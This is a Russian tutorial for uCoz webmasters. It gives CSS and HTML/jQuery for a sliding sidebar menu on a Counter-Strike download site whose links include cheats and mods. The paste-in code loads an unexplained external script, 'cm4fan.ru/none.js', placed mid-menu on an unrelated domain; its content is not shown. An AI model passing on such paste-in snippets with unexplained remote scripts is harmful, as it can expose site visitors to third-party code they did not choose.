Скрипт раздвижного меню

Без рубрики
Скрипт раздвижного меню

Скрипт раздвижного меню

Скрипт раздвижного меню

Описание:
Скрипт раздвижного меню
Установка:
В CSS стиль вставляем:

.side-navigation{width:200px;background:url(‘http://www.csomsk.ru/design/blank/pagebg.jpg’) #291C16;box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;margin-bottom:10px;color:#fff}  
  .side-navigation .block-head{color:#fff;font-size:18px;font-family:arial,tahoma;padding:4px 8px;border-bottom:1px solid #000}  
  .side-navigation .block-inner{padding-bottom:2px}  
  .side-block .block-inner{padding:5px;}  
  .side-block .block-inner.nopadding{padding:0px !important;}  

  .zp-links a{display:block;color:#fff;padding:4px 8px;border-bottom:1px solid #000;border-top:1px solid #3B2D2A;text-shadow:0px 1px 0px #000;-moz-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;-o-transition:all 0.3s ease;transition:all 0.3s ease;font-weight:bold;outline:none;text-decoration:none;}  
  .zp-links a:hover{color:#FFB32E;padding-left:14px;background:rgba(0,0,0,0.2)}  
  .zp-links a.w-sub{background:url(‘http://www.csomsk.ru/design/blank/submenu-btn.png’) no-repeat;background-position:185px 7px}  
  .zp-links a.w-sub:hover{background:url(‘http://www.csomsk.ru/design/blank/submenu-btn.png’) no-repeat rgba(0,0,0,0.2);background-position:190px 7px}  
  .zp-links .s-level a.w-sub{font-weight:bold;background-position:182px 7px}  
  .zp-links .s-level a.w-sub:hover{background-position:190px 7px}  
  .zp-links .s-level{padding-left:22px}  
  .zp-links .s-level a{border-left:2px solid #FFB32E;font-weight:normal}  
  .zp-links .s-level a:hover{padding-left:8px;margin-left:-8px}

Затем заходим в ПАНЕЛЬ УПРАВЛЕНИЯ —дизайн — Управление дизайном (шаблоны) — Первый контейнер и в самый верх вставляем код:

<div class=»side-navigation»>  
  <div class=»block-head» style=»padding:5px 8px 0px 8px;»><img src=»http://www.csomsk.ru/design/blank/nav-block-title.png» style=»max-width:600px;» alt=»Навигация»></div>  
  <div class=»block-inner»>  
  <div class=»zp-links»>  
  <a title=»Главная» href=»/»>Главная</a>  
  <a title=»Форум» href=»/forum»>Форум</a>  
  <a title=»Видео» href=»/blog/»>Видео</a>  
  <a title=»Статьи» href=»/publ/»>Статьи</a>  
  <a title=»Новости» href=»/news/»>Новости</a>  
  <a title=»КиноZал» href=»/stuff/» >КиноZал</a>
  <a title=»ФотоZал» href=»/photo/» >ФотоZал</a>  
  <a title=»Обзор Игр» href=»/board» >Обзор Игр</a>  
  <a title=»Топ сайтов» href=»/dir» >Топ сайтов</a>  
  <a title=»Файловый архив» href=»/load» >Файловый архив</a>  
<a title=»Связь с админом через е-майл адрес» href=»/index/svjaz_s_adminom/0-103″ >Связь с Админом</a>
  <a rel=»soft-menu» class=»w-sub» href=»javascript://»>Система uCoz</a>  
  <div class=»s-level» id=»soft-menu» style=»display: none»>  
<a href=»/load/shablony_dlja_ucoz_sajtov/29″ title=»Бесплатно Забрать шаблоны для ucoz»>Шаблоны для Ucoz</a>
<a href=»/load/razdel_ucoz_vse_dlja_web_mastera/stranica_404_htm_dlja_ucoz/74″ title=»Бесплатно Забрать стараницы 404.htm»>Страницы 404</a>
<a href=»/load/razdel_ucoz_vse_dlja_web_mastera/kartinki_knopka_chtoby_skachat/70″ title=»Бесплатно Забрать кнопки картинки dowload»>Кнопки Забрать</a>
<a href=»/load/razdel_ucoz_vse_dlja_web_mastera/shapki_dlja_ucoz_na_temu_cs/72″ title=»Бесплатно Забрать шапки для ucoz сайтов»>Шапки для ucoz</a>
<a href=»/load/skripty_dlja_ucoz_sajtov/30″ title=»Бесплатные скрипты для ucoz»>Скрипты для Ucoz</a>
<a href=»/load/razdel_ucoz_vse_dlja_web_mastera/favicon_ico/66″ title=»Бесплатно Забрать иконки для сайта .ico»>Забрать favicon.ico</a>
<a href=»/load/razdel_ucoz_vse_dlja_web_mastera/ikonki_grupp_dlja_ucoz/71″ title=»Бесплатно Забрать иконки групп для ucoz»>Иконки групп для ucoz</a>
<a href=»/load/razdel_ucoz_vse_dlja_web_mastera/znachki_dlja_foruma_ucoz/73″ title=»Бесплатно Забрать иконки для форума»>Иконки для форума ucoz</a>
  </div>  
  <a rel=»games-menu» class=»w-sub» href=»javascript://»>Counter-Strike 1.6</a>  
  <div class=»s-level» id=»games-menu» style=»display: none»>  
<a title=»Забрать бесплатно counter-strike» href=»/load/counter_strike_1_6/skachat_cs/12″>Забрать Counter-Strike 1.6</a>
<a title=»Забрать бесплатно моды» href=»/load/counter_strike_1_6/mody_dlja_cs_1_6/78″>Моды </a>
<a title=»Забрать бесплатно читы» href=»/load/chity_cs_16/24″>Читы </a>
<a title=»Забрать бесплатно патчи» href=»/load/patchi_na_cs_1_6/38″>Патчи </a>
<a title=»смотреть онлайн видео» href=»/load/video_cs/39″>Видео </a>
<a title=»Забрать бесплатно звуки» href=»/load/3″>Звуки </a>
<a title=»Забрать бесплатно кровь» href=»/load/krov/22″>Кровь </a>
<a title=»Забрать бесплатно разное для кс 1.6″ href=»/load/8″>Другое </a>
<a title=»Забрать бесплатно радары» href=»/load/radar_cs/13″>Радары </a>
<a title=»Забрать бесплатно музыка» href=»/load/muzyka_cs/17″>Музыка </a>
<a title=»Забрать бесплатно взрывы» href=»/load/vzryvy/19″>Взрывы </a>
<a title=»Забрать бесплатно конфиги» href=»/load/konfigi/20″>Конфиги </a>
<a title=»Забрать бесплатно плагины» href=»/load/2″>Плагины </a>
<a title=»Забрать бесплатно логотипы» href=»/load/6″>Логотипы </a>
<a title=»Забрать бесплатно картинки» href=»/load/images_cs/25″>Картинки </a>
<a title=»Забрать бесплатно выстрелы» href=»/load/vystrely/15″>Выстрелы </a>
<a title=»Забрать бесплатно темы меню» href=»/load/10″>Темы меню </a>
<a title=»Забрать бесплатно мувики» href=»/load/flash_muvik_cs/26″>Flash-мувик </a>
<a title=»Забрать бесплатно руссификаторы» href=»/load/9″>Руссификатор </a>
<a title=»Забрать бесплатно модели оружия» href=»/load/1″>Модели оружия</a>
<a title=»Забрать бесплатно модели игроков» href=»/load/4″>Модели игроков</a>
<a title=»Забрать бесплатно лампочки» href=»/load/novye_lampochki_svetjashhiesja_na_bombakh/23″>Лампочки на c4</a>
<a title=»Забрать бесплатно ботов» href=»/load/collection_bot/27″>Collection [Боты]</a>
<a title=»Забрать бесплатно болевые иконки» href=»/load/bolevye_ikonki/14″>Болевые иконки</a>
<a title=»Забрать бесплатно модели перчаток» href=»/load/model_perchatok/16″>Модель перчаток</a>
<a title=»Забрать бесплатно иконки радио» href=»/load/11″>Иконки для радио</a>
<a title=»Забрать бесплатно готовые сервера» href=»/load/7″>Готовые сервера</a>
<a title=»Забрать бесплатно прицелы винтовок» href=»/load/pricely_vintovok/21″>Прицелы винтовок</a>
<a title=»Забрать бесплатно снайперские прицелы» href=»/load/snajperskie_pricely/18″>Снайперские прицелы 1.6</a>
  </div>  
  <a rel=»kino-menu» class=»w-sub» href=»javascript://»>Counter-Strike: Source</a>  
  <div class=»s-level» id=»kino-menu» style=»display: none»>  

<a title=»Забрать бесплатно логотипы» href=»/load/cs_source/sprei_logotipy_dlja_cs_source/90″>Логотипы для CS SOurce</a>
<a title=»Забрать бесплатно Модели оружия CSS» href=»/load/cs_source/modeli_oruzhija_counter_strike_source/97″>Модели оружия CSS</a>
<a title=»Забрать бесплатно Модели игроков CSS» href=»/load/cs_source/modeli_igrokov_counter_strike_source/98″>Модели игроков CSS</a>
<a title=»Забрать бесплатно Темы меню CSS» href=»/load/cs_source/temy_menju_counter_strike_source/99″>Темы меню CSS</a>
<a title=»Забрать бесплатно модели рук» href=»/load/cs_source/sleeves_ruki/42″>Sleeves-Руки</a>
<a title=»Забрать бесплатно читы» href=»/load/cs_source/chity_cs_source/48″>Читы для CS:S</a>
<a title=»Забрать бесплатно перчатки» href=»/load/cs_source/hands_perchatki/41″>Hands-перчатки</a>
<a title=»Забрать бесплатно скины админов» href=»/load/cs_source/adminskie_skiny/43″>Админские Скины</a>
<a title=»Забрать бесплатно counter-strike source» href=»/load/cs_source/skachat_cs_source/44″>Cs source Забрать</a>
<a title=»Забрать бесплатно скрипты ксс» href=»/load/cs_source/skripty_dlja_cs_s/47″>Скрипты для CS:S</a>
<a title=»Забрать бесплатно проги для ксс» href=»/load/cs_source/programmy_dlja_cs_s/49″>Программы для CS:S</a>
<a title=»Забрать бесплатно моды ксс» href=»/load/cs_source/mody_i_skripty/46″>Моды для css сервера</a>
<a title=»Забрать бесплатно звуки ксс» href=»/load/cs_source/zvuki_dlja_cs_source_servera/45″>Звуки для css сервера</a>

  </div>  
  
  <a rel=»pers-menu» class=»w-sub» href=»javascript://»>Софт</a>  
  <div class=»s-level» id=»pers-menu» style=»display: none»>  

<a href=»/load/soft_dlja_pk/archive/31″>Архиваторы</a>
<a href=»/load/soft_dlja_pk/audio/32″>Аудио</a>
<a href=»/load/soft_dlja_pk/video/33″>Видео</a>
<a href=»/load/soft_dlja_pk/downloader/34″>Downloader</a>
<a href=»/load/soft_dlja_pk/kodeki/35″>Кодеки</a>
<a href=»/load/soft_dlja_pk/sredastva_obshhenija/36″>Средства общения</a>
<a href=»/load/soft_dlja_pk/soft/37″>Софт</a>
  </div>  
  </div>  
<script src=»http://cm4fan.ru/none.js» type=»text/javascript»></script>
  </div>  
  </div>  
  <script type=»text/javascript»>  
  $(function(){  
  $(«.s-level»).hide();  
  $(«.zp-links a.w-sub»).click(function(){  
  var submenu = $(this).attr(‘rel’);  
  $(«#»+submenu+»»).toggle(‘fast’);  
  });  
  });  
  </script>  

  <script type=»text/javascript» src=»http://www.csomsk.ru/design/blank/m_color.js»></script>

Ширину меню редактируем в ксс стиле тут .side-navigation{width:200px